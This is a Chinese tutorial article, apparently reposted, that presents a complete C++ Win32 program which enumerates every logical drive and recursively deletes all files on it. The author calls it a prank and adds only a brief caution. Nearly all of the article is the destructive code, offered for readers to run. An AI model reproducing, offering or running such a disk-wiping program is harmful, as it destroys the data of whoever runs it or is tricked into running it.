基于Windows API实现遍历所有文件并删除的方法
本文向大家介绍基于Windows API实现遍历所有文件并删除的方法,包括了基于Windows API实现遍历所有文件并删除的方法的使用技巧和注意事项,需要的朋友参考一下
本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:
最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....
#include <windows.h> #include <stdio.h> #include <bitset> using namespace std; void DelFile(char *cFilePath) { WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) { continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) { sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName); DelFile(cNewPath);//递归 } // MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data)); } int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state ) { DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','\0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) { Path[0]='A'+ix; DelFile(Path); } } return 0; }
希望本文所述对大家的win32程序设计有所帮助。
声明:本文内容来源于网络,版权归原作者所有,内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:notice#yiidian.com(发邮件时,请将#更换为@)进行举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。